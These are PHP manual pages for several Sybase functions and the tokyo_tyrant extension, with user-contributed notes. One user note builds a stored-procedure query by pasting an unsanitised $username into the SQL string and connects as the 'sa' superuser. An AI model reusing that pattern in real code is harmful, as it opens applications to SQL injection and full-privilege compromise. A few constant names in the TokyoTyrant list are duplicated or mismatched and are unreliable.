This function can be used to call stored procedures, or to process multiple queries in the same call in the same "batch". However there's a limit on the kind of stored procedures you can call, because Sybase allows a stored procedure or "batch" to return multiple result sets, and because the surrent implementation of sybase support in PHP3 has no provision to process each result set, one after one. If your stored procedure or batch has multiple result sets returned, you will only be able to retrieved the first result set in you PHP3 script. Note that other result sets won't be processed by the SQL server until you close the current result set. So this may suspend the execution of a stored procedure or batch on the SQL Server. Note also that if a stored procedure or batch uses "print" or "raiserror" SQL statements, you won't be able to collect the returned messages in the result set, because these statements do not generate a result set but instead return asynchronous server messages which currently have no support in the sybase PHP3 set of functions.
It would be a good idea for someone to add the support for queries that return multiple result sets and server messages, so that any kind of Sybase SQL queries can be used in PHP3 scripts.
This would require adding a function to go to the next results set, and a function to retrieve server messages generated before, between, and after each result sets. Note also that server messages could be sent within a result set, this won't be from "print" or "raiserror" SQL statements but internal server errors while processing a result set returned by a SELECT statement, or messages generated by triggers. There could also exist asynchronous client messages while processing any kind of return (result set or server messages), and there's for now no function to return them. Such client messages mainly signal connection status and data conversion errors.


Get result data

  • « sybase_query
  • sybase_select_db »
  • PHP Manual
  • Sybase Functions
  • Get result data

sybase_result

(PHP 4, PHP 5)

sybase_result — Get result data

Description

string sybase_result ( resource $result , int $row , mixed $field )

Returns the contents of the cell at the row and offset in the specified Sybase result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than sybase_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Recommended high-performance alternatives:
sybase_fetch_row(),
sybase_fetch_array() and
sybase_fetch_object().

Parameters

result

row

field

The field argument can be the field's offset, or the field's name, or the field's table dot field's name (tablename.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name.

Return Values

sybase_result() returns the contents of one cell from a Sybase result set.

User Contributed Notes

chad at matrixnetwork dot net 06-Apr-2001 01:39
If a stored procedure is doing all the work for you and you just need to retrieve a single cell...

<?php
$db = sybase_connect("sybtest", "sa", "users");
$query = sybase_query("EXEC usp_get_id @username='$username'", $db);
$id = sybase_result($query,0,0);
echo $id;
?>

Simple.


Selects a Sybase database

  • « sybase_result
  • sybase_set_message_handler »
  • PHP Manual
  • Sybase Functions
  • Selects a Sybase database

sybase_select_db

(PHP 4, PHP 5)

sybase_select_db — Selects a Sybase database

Description

bool sybase_select_db ( string $database_name [, resource $link_identifier ] )

sybase_select_db() sets the current active database on the server that's associated with the specified link identifier.

Every subsequent call to sybase_query() will be made on the active database.

Parameters

database_name

link_identifier

If no link identifier is specified, the last opened link is assumed. If no link is open, the function will try to establish a link as if sybase_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sybase_connect() - Opens a Sybase server connection
  • sybase_pconnect() - Open persistent Sybase connection
  • sybase_query() - Sends a Sybase query

User Contributed Notes

verdy_p at wanadoo dot fr 24-Jul-1999 11:14
Using this function is not required under Sybase, because Sybase SQL Server users can be configured with a default database to use at connection time. You only need this function if your SQL Server has multiple database names, and you want to switch your queries from one database to another one on the same SQLServer, for example if the connection user name has "master" as its default database name and you want to process queries in your application database, or if the username (in fact the loginname in Sybase terminology) has an application database configured for its default database, and you want to process some queries in the "master", "tempdb", or "sybsystemprocs" database.
When you call this function, and it returns successfully, the "username" parameter in the sybase_connect or sybase_pconnect function calls is NOT the user name that holds the access rights in that database. In fact, the "username" is used by Sybase only as a loginname for the SQL Server, and it is mapped to a database-specific username according to the contents of the database sysusers system table that maps logins to database users. Many databases only have a "dbo" username, whatever the loginname you configured on the server's "master" database; in that case to the database is specified by the default servername for the specified loginname, and the access rights are determined by the database's map in sysusers system table which specifies with login is associated with the "dbo" user. You may elect to configure another user in your application database, with limited granted rights, and then add a new server login with a specific password and this database as its default database to use. Such a configuration will add an extra level of security for your database, avoiding full privileges (thus forbidding alteration of the database schema by PHP3 scripts). You may also give strict grants with select-only access rights to the new user, so that PHP3 will only be able to select data from the database, but won't be granted to modify the database contents.


Sets the handler called when a server message is raised

  • « sybase_select_db
  • sybase_unbuffered_query »
  • PHP Manual
  • Sybase Functions
  • Sets the handler called when a server message is raised

sybase_set_message_handler

(PHP 4 >= 4.3.0, PHP 5)

sybase_set_message_handler — Sets the handler called when a server message is raised

Description

bool sybase_set_message_handler ( callable $handler [, resource $link_identifier ] )

sybase_set_message_handler() sets a user function to handle messages generated by the server. You may specify the name of a global function, or use an array to specify an object reference and a method name.

Parameters

handler

The handler expects five arguments in the following order: message number, severity, state, line number and description. The first four are integers. The last is a string. If the function returns FALSE, PHP generates an ordinary error message.

link_identifier

If the link identifier isn't specified, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 sybase_set_message_handler() callback function

<?php
    function msg_handler($msgnumber, $severity, $state, $line, $text)
    {
        var_dump($msgnumber, $severity, $state, $line, $text);
    }

    sybase_set_message_handler('msg_handler');
?>

Example #2 sybase_set_message_handler() callback to a class

<?php
    class Sybase {
        function handler($msgnumber, $severity, $state, $line, $text)
        {
            var_dump($msgnumber, $severity, $state, $line, $text);
        }
    }

    $sybase= new Sybase();
    sybase_set_message_handler(array($sybase, 'handler'));
?>

Example #3 sybase_set_message_handler() unhandled messages

<?php
    // Return FALSE from this function to indicate you can't handle
    // this. The error is printed out as a warning, the way you're used
    // to it if there is no handler installed.
    function msg_handler($msgnumber, $severity, $state, $line, $text)
    {
        if (257 == $msgnumber) {
            return false;
        }
        var_dump($msgnumber, $severity, $state, $line, $text);
    }

    sybase_set_message_handler('msg_handler');
?>

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

User Contributed Notes

19-Jun-2003 11:23
You can check for Showplan messages using this callback. Showplan message numbers go from 6201 through 6292 (at least here, on SQL Server/11.0.3.3).

select error, description from master..sysmessages where error between 6201 and 6292


Send a Sybase query and do not block

  • « sybase_set_message_handler
  • tokyo_tyrant »
  • PHP Manual
  • Sybase Functions
  • Send a Sybase query and do not block

sybase_unbuffered_query

(PHP 4 >= 4.3.0, PHP 5)

sybase_unbuffered_query — Send a Sybase query and do not block

Description

resource sybase_unbuffered_query ( string $query , resource $link_identifier [, bool $store_result ] )

sybase_unbuffered_query() sends a query to the currently active database on the server that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if sybase_connect() was called, and use it.

Unlike sybase_query(), sybase_unbuffered_query() reads only the first row of the result set. sybase_fetch_array() and similar function read more rows as needed. sybase_data_seek() reads up to the target row. The behavior may produce better performance for large result sets.

sybase_num_rows() will only return the correct number of rows if all result sets have been read. To Sybase, the number of rows is not known and is therefore computed by the client implementation.

Note:

If you don't read all of the resultsets prior to executing the next query, PHP will raise a warning and cancel all of the pending results. To get rid of this, use sybase_free_result() which will cancel pending results of an unbuffered query.

Parameters

query

link_identifier

store_result

The optional store_result can be FALSE to indicate the resultsets shouldn't be fetched into memory, thus minimizing memory usage which is particularly interesting with very large resultsets.

Return Values

Returns a positive Sybase result identifier on success, or FALSE on error.

Examples

Example #1 sybase_unbuffered_query() example

<?php

$dbh = sybase_connect('SYBASE', '', '');
$q = sybase_unbuffered_query('select firstname, lastname from huge_table', $dbh, false);
sybase_data_seek($q, 10000);
$i = 0;

while ($row = sybase_fetch_row($q)) {
    echo $row[0], ' ', $row[1], '<br />';
    if ($i++ > 40000) {
        break;
    }
}

sybase_free_result($q);
sybase_close($dbh);

?>

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_query() - Sends a Sybase query

User Contributed Notes

There are no user contributed notes for this page.


tokyo_tyrant

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • TokyoTyrant — The TokyoTyrant class
    • TokyoTyrant::add — Adds to a numeric key
    • TokyoTyrant::connect — Connect to a database
    • TokyoTyrant::connectUri — Connects to a database
    • TokyoTyrant::__construct — Construct a new TokyoTyrant object
    • TokyoTyrant::copy — Copies the database
    • TokyoTyrant::ext — Execute a remote script
    • TokyoTyrant::fwmKeys — Returns the forward matching keys
    • TokyoTyrant::get — The get purpose
    • TokyoTyrant::getIterator — Get an iterator
    • TokyoTyrant::num — Number of records in the database
    • TokyoTyrant::out — Removes records
    • TokyoTyrant::put — Puts values
    • TokyoTyrant::putCat — Concatenates to a record
    • TokyoTyrant::putKeep — Puts a record
    • TokyoTyrant::putNr — Puts value
    • TokyoTyrant::putShl — Concatenates to a record
    • TokyoTyrant::restore — Restore the database
    • TokyoTyrant::setMaster — Set the replication master
    • TokyoTyrant::size — Returns the size of the value
    • TokyoTyrant::stat — Get statistics
    • TokyoTyrant::sync — Synchronize the database
    • TokyoTyrant::tune — Tunes connection values
    • TokyoTyrant::vanish — Empties the database
  • TokyoTyrantTable — The TokyoTyrantTable class
    • TokyoTyrantTable::add — Adds a record
    • TokyoTyrantTable::genUid — Generate unique id
    • TokyoTyrantTable::get — Get a row
    • TokyoTyrantTable::getIterator — Get an iterator
    • TokyoTyrantTable::getQuery — Get a query object
    • TokyoTyrantTable::out — Remove records
    • TokyoTyrantTable::put — Store a row
    • TokyoTyrantTable::putCat — Concatenates to a row
    • TokyoTyrantTable::putKeep — Put a new record
    • TokyoTyrantTable::putNr — Puts value
    • TokyoTyrantTable::putShl — Concatenates to a record
    • TokyoTyrantTable::setIndex — Sets index
  • TokyoTyrantQuery — The TokyoTyrantQuery class
    • TokyoTyrantQuery::addCond — Adds a condition to the query
    • TokyoTyrantQuery::__construct — Construct a new query
    • TokyoTyrantQuery::count — Counts records
    • TokyoTyrantQuery::current — Returns the current element
    • TokyoTyrantQuery::hint — Get the hint string of the query
    • TokyoTyrantQuery::key — Returns the current key
    • TokyoTyrantQuery::metaSearch — Retrieve records with multiple queries
    • TokyoTyrantQuery::next — Moves the iterator to next entry
    • TokyoTyrantQuery::out — Removes records based on query
    • TokyoTyrantQuery::rewind — Rewinds the iterator
    • TokyoTyrantQuery::search — Searches records
    • TokyoTyrantQuery::setLimit — Limit results
    • TokyoTyrantQuery::setOrder — Orders results
    • TokyoTyrantQuery::valid — Checks the validity of current item
  • TokyoTyrantIterator — The TokyoTyrantIterator class
    • TokyoTyrantIterator::__construct — Construct an iterator
    • TokyoTyrantIterator::current — Get the current value
    • TokyoTyrantIterator::key — Returns the current key
    • TokyoTyrantIterator::next — Move to next key
    • TokyoTyrantIterator::rewind — Rewinds the iterator
    • TokyoTyrantIterator::valid — Rewinds the iterator
  • TokyoTyrantException — The TokyoTyrantException class

User Contributed Notes

There are no user contributed notes for this page.


Introduction

tokyo_tyrant extension provides a wrapper for Tokyo Tyrant client libraries. The extension contains the normal key-value API and the table API.

"Tokyo Tyrant is a package of network interface to the DBM called Tokyo Cabinet. Though the DBM has high performance, you might bother in case that multiple processes share the same database, or remote processes access the database. Thus, Tokyo Tyrant is provided for concurrent and remote connections to Tokyo Cabinet. It is composed of the server process managing a database and its access library for client applications." --Tokyo Tyrant documentation

Tokyo Tyrant is written by Mikio Hirabayashi and is licensed under GNU Lesser General Public License.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Before using this extension Tokyo Cabinet and Tokyo Tyrant must be installed.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/tokyo_tyrant

Configure options

  • --with-tokyo-tyrant[=DIR] DIR is the prefix to the Tokyo Tyrant installation
  • --with-tokyo-cabinet-dir[=DIR] DIR is the prefix to the Tokyo Cabinet installation
  • --disable-tokyo-tyrant-session Disable Tokyo Tyrant session handler support

Enabling the extension

The extension can be enabled by adding extension=tokyo_tyrant.so to the INI-configuration

Running Tokyo Tyrant for the session handler

ttserver -port 2000 -ext /path/to/expire.lua -extpc expire 30.0 '/tmp/sessions.tct#idx=ts:dec'

Note: expire.lua is included in the tokyo_tyrant extension source distribution

Configuring session handler

  • tokyo_tyrant.session_salt="randomlongstring"
  • session.save_handler=tokyo_tyrant
  • session.save_path="tcp://hostname1:2000,tcp://hostname2:2000"

Note: It is important to make sure that tokyo_tyrant.session_salt matches on all servers.

How it works?

The session handler creates a session id like the following: 8b0e27a823fa4a6cf7246945b82c1d51-a5eadbbed1f2075952900628456bfd6830541629-0-5460

The parts from left to right:

  • Session id - Generated session id
  • Checksum - Checksum of session salt, session id, node id and primary key
  • Node id - The id of the node where the session maps to
  • Primary key - The primary key of the row where the session is stored

The checksum contains SHA1 sum of the node id, primary key, session id and the salt which is known only on the server side. This allows quick mapping of session id to node and primary key since there is no need to do an additional search. During session id regeneration only the parts 1 and 2 change but the mapping to the node and primary key stays constant.

In case some of the nodes fail tokyo_tyrant.allow_failover, tokyo_tyrant.fail_threshold and tokyo_tyrant.health_check_divisor INI-settings control the behavior during failover. If failover is allowed the session handler will map the session to a healthy node and creates a new empty session.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

tokyo_tyrant Configure Options
Name | Default | Changeable | Changelog
tokyo_tyrant.default_timeout | 2.0 | PHP_INI_ALL |
tokyo_tyrant.session_salt | NULL | PHP_INI_ALL |
tokyo_tyrant.key_prefix | NULL | PHP_INI_ALL |
tokyo_tyrant.allow_failover | 1 | PHP_INI_ALL |
tokyo_tyrant.fail_threshold | 5 | PHP_INI_ALL |
tokyo_tyrant.health_check_divisor | 1000 | PHP_INI_ALL |
tokyo_tyrant.php_expiration | 0 | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

tokyo_tyrant.default_timeout integer

Default timeout when connecting to databases

tokyo_tyrant.session_salt string

The secret that is used to salt session id

tokyo_tyrant.key_prefix string

Prefix all keys with this string. The prefix is transparent to the developer but helps making sure that keys won't collide if multiple applications are using the same database.

tokyo_tyrant.allow_failover integer

Whether to allow session failover in case a server dies.

tokyo_tyrant.fail_threshold integer

How many read/write or connection failures is allowed before server is marked as failed.

tokyo_tyrant.health_check_divisor integer

Defines the divisor for the health check probability. If there are failed servers and the probability matches, the servers are health checked and in case the server seems healthy, it will be added back to the pool.

tokyo_tyrant.php_expiration integer

Whether to use built in session expiration mechanism or delegate the expiration to a lua-script on the server-side.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

TokyoTyrant constants

User Contributed Notes

There are no user contributed notes for this page.


Examples

Basic usage

Example #1 Putting and getting a key-value pair

<?php
$tt = new TokyoTyrant("localhost");
$tt->put("key", "value");
echo $tt->get("key");
?>

The above example will output:

value

User Contributed Notes

There are no user contributed notes for this page.


The TokyoTyrant class

(PECL tokyo_tyrant >= 0.1.0)

Introduction

The main Tokyo Tyrant class

Class synopsis

TokyoTyrant {
/* Constants */
const integer RDBDEF_PORT = 1978 ;
const integer RDBQC_STREQ = 0 ;
const integer RDBQC_STRINC = 1 ;
const integer RDBQC_STRBW = 2 ;
const integer RDBQC_STREW = 3 ;
const integer RDBQC_STRAND = 4 ;
const integer RDBQC_STROR = 5 ;
const integer RDBQC_STROREQ = 6 ;
const integer RDBQC_STRRX = 7 ;
const integer RDBQC_NUMEQ = 8 ;
const integer RDBQC_NUMGT = 9 ;
const integer RDBQC_NUMGE = 10 ;
const integer RDBQC_NUMLT = 11 ;
const integer RDBQC_NUMLE = 12 ;
const integer RDBQC_NUMBT = 13 ;
const integer RDBQC_NUMOREQ = 14 ;
const integer RDBQC_NEGATE = 16777216 ;
const integer RDBQC_NOIDX = 33554432 ;
const integer RDBQO_STRASC = 0 ;
const integer RDBQO_STRDESC = 1 ;
const integer RDBQO_NUMASC = 2 ;
const integer RDBQO_NUMDESC = 3 ;
const integer RDBIT_LEXICAL = 0 ;
const integer RDBIT_DECIMAL = 1 ;
const integer RDBIT_TOKEN = 2 ;
const integer RDBIT_QGRAM = 3 ;
const integer RDBIT_OPT = 9998 ;
const integer RDBIT_VOID = 9999 ;
const integer RDBIT_KEEP = 16777216 ;
const integer RDBQCFTS_PH = 15 ;
const integer RDBQCFTS_AND = 16 ;
const integer RDBQCFTS_OR = 17 ;
const integer RDBQCFTS_EX = 18 ;
const integer RDBXO_LCKREC = 1 ;
const integer RDBXOLCK_GLB = 2 ;
const integer RDBREC_INT = 1 ;
const integer RDBREC_DBL = 2 ;
const integer RDBMS_UNION = 0 ;
const integer RDBMS_ISECT = 1 ;
const integer RDBMS_DIFF = 2 ;
const integer RDBT_RECON = 1 ;
/* Methods */
public number add ( string $key , number $increment [, int $type = 0 ] )
public TokyoTyrant connect ( string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]] )
public TokyoTyrant connectUri ( string $uri )
public __construct ([ string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]]] )
public TokyoTyrant copy ( string $path )
public string ext ( string $name , int $options , string $key , string $value )
public array fwmKeys ( string $prefix , int $max_recs )
public mixed get ( mixed $keys )
public TokyoTyrantIterator getIterator ( void )
public int num ( void )
public TokyoTyrant out ( mixed $keys )
public TokyoTyrant put ( mixed $keys [, string $value = NULL ] )
public TokyoTyrant putCat ( mixed $keys [, string $value ] )
public TokyoTyrant putKeep ( mixed $keys [, string $value ] )
public TokyoTyrant putNr ( mixed $keys [, string $value = NULL ] )
public mixed putShl ( string $key , string $value , int $width )
public mixed restore ( string $log_dir , int $timestamp [, bool $check_consistency = true ] )
public mixed setMaster ( string $host , int $port , int $timestamp [, bool $check_consistency = true ] )
public int size ( string $key )
public array stat ( void )
public mixed sync ( void )
public TokyoTyrant tune ( float $timeout [, int $options = TokyoTyrant::RDBT_RECON ] )
public mixed vanish ( void )
}

Predefined Constants

TokyoTyrant Constants

TokyoTyrant::RDBDEF_PORT

The default port of the Tokyo Tyrant database

TokyoTyrant::RDBQC_STREQ

string is equal to

TokyoTyrant::RDBQC_STRINC

string is included in

TokyoTyrant::RDBQC_STRBW

string begins with

TokyoTyrant::RDBQC_STREW

string ends with

TokyoTyrant::RDBQC_STRAND

string includes all tokens in

TokyoTyrant::RDBQC_STROR

string includes at least one token in

TokyoTyrant::RDBQC_STROREQ

string is equal to at least one token in

TokyoTyrant::RDBQC_STRRX

string matches regular expressions of

TokyoTyrant::RDBQC_NUMEQ

number is equal to

TokyoTyrant::RDBQC_NUMGT

number is greater than

TokyoTyrant::RDBQC_NUMGE

number is greater than or equal to

TokyoTyrant::RDBQC_NUMLT

number is less than

TokyoTyrant::RDBQC_NUMLE

number is less than or equal to

TokyoTyrant::RDBQC_NUMBT

number is between two tokens of

TokyoTyrant::RDBQC_NUMOREQ

number is equal to at least one token in

TokyoTyrant::RDBQC_NEGATE

negation flag

TokyoTyrant::RDBQC_NOIDX

no index flag

TokyoTyrant::RDBQO_STRASC

string ascending

TokyoTyrant::RDBQO_STRDESC

string descending

TokyoTyrant::RDBQO_NUMASC

number ascending

TokyoTyrant::RDBQO_NUMDESC

number descending

TokyoTyrant::RDBIT_LEXICAL

lexical string

TokyoTyrant::RDBIT_DECIMAL

decimal string

TokyoTyrant::RDBIT_TOKEN

token inverted index (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBIT_QGRAM

QGRAM inverted index (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBIT_OPT

optimize

TokyoTyrant::RDBIT_VOID

void

TokyoTyrant::RDBIT_KEEP

keep existing index

TokyoTyrant::RDBQCFTS_PH

full-text search with the phrase of (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_AND

full-text search with all tokens in (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_OR

full-text search with at least one token in (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_EX

full-text search with the compound expression of (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_AND

Metasearch union between records (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBQCFTS_OR

Metasearch intersection between records (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBQCFTS_EX

Metasearch difference between records (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBT_RECON

Whether to reconnect on connection failure. It is recommended to have this parameter on for persistent connections

TokyoTyrant::RDBXOLCK_REC

record locking

TokyoTyrant::RDBXOLCK_GLB

global locking

TokyoTyrant::RDBREC_INT

record type int

TokyoTyrant::RDBREC_DBL

record type float (double)

TokyoTyrant::TTE_SUCCESS

success

TokyoTyrant::TTE_INVALID

invalid operation

TokyoTyrant::TTE_NOHOST

host not found

TokyoTyrant::TTE_REFUSED

connection refused

TokyoTyrant::TTE_SEND

send error

TokyoTyrant::TTE_RECV

recv error

TokyoTyrant::TTE_KEEP

record exist

TokyoTyrant::TTE_NOREC

no record found

TokyoTyrant::TTE_MISC

miscellaneous error

Table of Contents

  • TokyoTyrant::add — Adds to a numeric key
  • TokyoTyrant::connect — Connect to a database
  • TokyoTyrant::connectUri — Connects to a database
  • TokyoTyrant::__construct — Construct a new TokyoTyrant object
  • TokyoTyrant::copy — Copies the database
  • TokyoTyrant::ext — Execute a remote script
  • TokyoTyrant::fwmKeys — Returns the forward matching keys
  • TokyoTyrant::get — The get purpose
  • TokyoTyrant::getIterator — Get an iterator
  • TokyoTyrant::num — Number of records in the database
  • TokyoTyrant::out — Removes records
  • TokyoTyrant::put — Puts values
  • TokyoTyrant::putCat — Concatenates to a record
  • TokyoTyrant::putKeep — Puts a record
  • TokyoTyrant::putNr — Puts value
  • TokyoTyrant::putShl — Concatenates to a record
  • TokyoTyrant::restore — Restore the database
  • TokyoTyrant::setMaster — Set the replication master
  • TokyoTyrant::size — Returns the size of the value
  • TokyoTyrant::stat — Get statistics
  • TokyoTyrant::sync — Synchronize the database
  • TokyoTyrant::tune — Tunes connection values
  • TokyoTyrant::vanish — Empties the database

User Contributed Notes

Min He 18-May-2010 12:52
TokyoTyrant::RDBQC_STREQ is case sensitive. The key in TokyoCabinet is case sensitive too.

For instance:

<?php
$tt->put("test",array("column1"=>"data1"));
$tt->put("Test",array("Column1"=>"data1"));
?>

added 2 rows in tc.

<?php
$query=$tt->getQuery();
$query->addCond("Column1", TokyoTyrant::RDBQC_STREQ, "data1");
$query->search();
?>

there will be only one result, and it's the row with key="Test".


Adds to a numeric key

  • « TokyoTyrant
  • TokyoTyrant::connect »
  • PHP Manual
  • TokyoTyrant
  • Adds to a numeric key

TokyoTyrant::add

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::add — Adds to a numeric key

Description

public number TokyoTyrant::add ( string $key , number $increment [, int $type = 0 ] )

Adds to an int or double value. This increments the value by the given amount and returns the new value. If the key does not exist a new key is created with initial value of the increment parameter.

Parameters

key

The string key

increment

The amount to increment

type

TokyoTyrant::RDBREC_INT or TokyoTyrant::RDBREC_DBL constant. If this parameter is omitted the type is guessed from the increment parameters type.

Return Values

Returns the new value on success

Examples

Example #1 TokyoTyrant::add() example

<?php
$tt = new TokyoTyrant("localhost", TokyoTyrant::RDBDEF_PORT);
/* Adds integer 3 to key and creates a new key */
$tt->add("test", 3);

/* String value is converted to double */
echo $tt->add("test", "3.5", TokyoTyrant::RDBREC_DBL);
?>

The above example will output something similar to:

6.5

See Also

  • TokyoTyrant::put() - Puts values
  • TokyoTyrant::putcat() - Concatenates to a record
  • TokyoTyrant::putkeep() - Puts a record

User Contributed Notes

There are no user contributed notes for this page.


Connect to a database

  • « TokyoTyrant::add
  • TokyoTyrant::connectUri »
  • PHP Manual
  • TokyoTyrant
  • Connect to a database

TokyoTyrant::connect

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::connect — Connect to a database

Description

public TokyoTyrant TokyoTyrant::connect ( string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]] )

Connects to a remote database

Parameters

host

The hostname

port

The port. Default: 1978

options

Connection options: timeout (default: 5.0), reconnect (default: TRUE) and persistent (default: TRUE)

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::connect() example

<?php
$tt = new TokyoTyrant();
$tt->connect("localhost", TokyoTyrant::RDBDEF_PORT)->put("test", "value");
?>

See Also

  • TokyoTyrant::connectUri() - Connects to a database

User Contributed Notes

There are no user contributed notes for this page.


Connects to a database

  • « TokyoTyrant::connect
  • TokyoTyrant::__construct »
  • PHP Manual
  • TokyoTyrant
  • Connects to a database

TokyoTyrant::connectUri

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::connectUri — Connects to a database

Description

public TokyoTyrant TokyoTyrant::connectUri ( string $uri )

Connects to a database using an uri

Parameters

uri

An URI to the database. For example tcp://localhost:1979/

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::connectUri() example

<?php
$tt = new TokyoTyrant();
$tt->connectUri("tcp://localhost:1978/")->put("test", "hi");
?>

See Also

  • TokyoTyrant::connect() - Connect to a database

User Contributed Notes

There are no user contributed notes for this page.


Construct a new TokyoTyrant object

  • « TokyoTyrant::connectUri
  • TokyoTyrant::copy »
  • PHP Manual
  • TokyoTyrant
  • Construct a new TokyoTyrant object

TokyoTyrant::__construct

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::__construct — Construct a new TokyoTyrant object

Description

public TokyoTyrant::__construct ([ string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]]] )

Constructs a new TokyoTyrant object and optionally connects to the database

Parameters

host

The hostname. Default: NULL

port

port number. Default: 1978

options

Connection options: timeout (default: 5.0), reconnect (default: TRUE) and persistent (default: TRUE)

Return Values

Throws TokyoTyrantException if connection to database fails

See Also

  • TokyoTyrant::connect() - Connect to a database
  • TokyoTyrant::connectUri() - Connects to a database

User Contributed Notes

bit dot kevin at gmail dot com 25-Sep-2010 11:55
Catch The Exception
<?php
        try {
            $tt = new TokyoTyrant("192.168.1.100", 11211);
        }catch (TokyoTyrantException $e) {
            var_dump($e);
            exit;
        }
?>


Copies the database

  • « TokyoTyrant::__construct
  • TokyoTyrant::ext »
  • PHP Manual
  • TokyoTyrant
  • Copies the database

TokyoTyrant::copy

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::copy — Copies the database

Description

public TokyoTyrant TokyoTyrant::copy ( string $path )

Makes a copy of the current database

Parameters

path

Path to where to copy the database. The user running the remote database must have a write access to the directory.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrant::copy() example

<?php
$tt = new TokyoTyrant("localhost", 1978);
$tt->copy("/tmp/foobar.tct");
?>

See Also

  • TokyoTyrant::restore() - Restore the database

User Contributed Notes

There are no user contributed notes for this page.


Execute a remote script

  • « TokyoTyrant::copy
  • TokyoTyrant::fwmKeys »
  • PHP Manual
  • TokyoTyrant
  • Execute a remote script

TokyoTyrant::ext

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::ext — Execute a remote script

Description

public string TokyoTyrant::ext ( string $name , int $options , string $key , string $value )

Executes a remote script extension.

Parameters

name

Name of the function to execute

options

Either TokyoTyrant::RDBXO_LCKREC for record locking and TokyoTyrant::RDBXO_LCKGLB for global locking.

key

The key to pass to the function

value

The value to pass to the function

Return Values

Returns the result of the script function

Examples

Example #1 TokyoTyrant::ext() example

<?php
$tt = new TokyoTyrant("localhost", 1978);
echo $tt->ext("somefunc", TokyoTyrant::RDBXO_LCKREC, "some_key", "some_value");
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the forward matching keys

  • « TokyoTyrant::ext
  • TokyoTyrant::get »
  • PHP Manual
  • TokyoTyrant
  • Returns the forward matching keys

TokyoTyrant::fwmKeys

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::fwmKeys — Returns the forward matching keys

Description

public array TokyoTyrant::fwmKeys ( string $prefix , int $max_recs )

Returns the forward matching keys from the database

Parameters

prefix

Prefix of the keys

max_recs

Maximum records to return

Return Values

Returns an array of matching keys. The values are not returned

Examples

Example #1 TokyoTyrant::fwmKeys() example

<?php

$tt = new TokyoTyrant("localhost");

/* Create 20 macthing keys */
for ($i = 0; $i < 20; $i++) {
    $tt->put("key_" . $i, "value_" . $i);
}

/* Create 20 non-macthing keys */
for ($i = 0; $i < 20; $i++) {
    $tt->put("something_" . $i, "data_" . $i);
}

/* Get five matching keys */
var_dump($tt->fwmKeys("key_", 5));
?>

The above example will output something similar to:

array(5) {
  [0]=>
  string(5) "key_5"
  [1]=>
  string(6) "key_14"
  [2]=>
  string(5) "key_6"
  [3]=>
  string(6) "key_15"
  [4]=>
  string(5) "key_7"
}

User Contributed Notes

There are no user contributed notes for this page.


The get purpose

  • « TokyoTyrant::fwmKeys
  • TokyoTyrant::getIterator »
  • PHP Manual
  • TokyoTyrant
  • The get purpose

TokyoTyrant::get

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::get — The get purpose

Description

public mixed TokyoTyrant::get ( mixed $keys )

This method is used to return a value or multiple values. This method accepts a string or an array as a value.

Parameters

keys

A string key or an array of string keys

Return Values

Returns a string or an array based on the given parameters. Throws a TokyoTyrantException on error. If string is passed null is returned if the key is not found. In case an array is given as an parameter only existing keys will be returned. It is not an error to pass a key that does not exist.

Examples

Example #1 TokyoTyrant::get() example

<?php
$tt = new TokyoTyrant("localhost", 1978);
$tt->put("key1", "value1");
$tt->put("key2", "value2");
var_dump($tt->get(array("key1", "key2")));
var_dump($tt->get("key1"));
?>

The above example will output:

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key2"]=>
  string(6) "value2"
}
string(6) "value1"

See Also

  • TokyoTyrant::put() - Puts values

User Contributed Notes

There are no user contributed notes for this page.


Get an iterator

  • « TokyoTyrant::get
  • TokyoTyrant::num »
  • PHP Manual
  • TokyoTyrant
  • Get an iterator

TokyoTyrant::getIterator

(No version information available, might only be in Git)

TokyoTyrant::getIterator — Get an iterator

